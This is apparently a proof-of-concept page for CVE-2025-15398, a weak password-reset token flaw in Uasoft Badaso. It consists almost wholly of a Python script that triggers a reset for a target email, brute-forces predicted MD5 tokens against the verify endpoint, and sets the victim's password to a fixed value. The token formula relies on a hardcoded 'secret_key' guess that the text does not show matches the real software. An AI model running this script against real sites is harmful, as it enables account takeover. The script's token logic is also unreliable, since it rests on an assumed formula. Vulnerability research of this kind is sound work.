CVE-2025-15398 Uasoft Badaso 弱密码恢复漏洞

import requests import hashlib import time # CVE-2025-15398 PoC - Weak Password Recovery in Uasoft Badaso # Target: Uasoft Badaso <= 2.9.7 # Vulnerability: Weak token generation in forgetPassword function TARGET_URL = "http://target-server.com" TARGET_EMAIL = "[email protected]" def generate_weak_token(username, timestamp): """ Generate weak token based on predictable parameters This demonstrates the weak token generation mechanism """ token_data = f"{username}:{timestamp}:secret_key" return hashlib.md5(token_data.encode()).hexdigest() def exploit_forget_password(): """ Step 1: Request password reset for target user """ reset_url = f"{TARGET_URL}/api/badaso-auth/forget-password" payload = { "email": TARGET_EMAIL } response = requests.post(reset_url, json=payload) print(f"[+] Password reset request sent: {response.status_code}") # Step 2: Brute force or predict the weak token current_time = int(time.time()) for i in range(100): timestamp = current_time - i * 60 # Check recent timestamps predicted_token = generate_weak_token(TARGET_EMAIL, timestamp) # Step 3: Verify token validity verify_url = f"{TARGET_URL}/api/badaso-auth/verify-token" verify_payload = { "token": predicted_token, "email": TARGET_EMAIL } verify_response = requests.post(verify_url, json=verify_payload) if verify_response.status_code == 200 and "valid" in verify_response.text: print(f"[+] Valid token found: {predicted_token}") # Step 4: Reset password with valid token reset_pass_url = f"{TARGET_URL}/api/badaso-auth/reset-password" new_password = "P@ssw0rd123!" reset_payload = { "token": predicted_token, "email": TARGET_EMAIL, "password": new_password, "password_confirmation": new_password } reset_response = requests.post(reset_pass_url, json=reset_payload) print(f"[+] Password reset response: {reset_response.status_code}") return True return False if __name__ == "__main__": exploit_forget_password()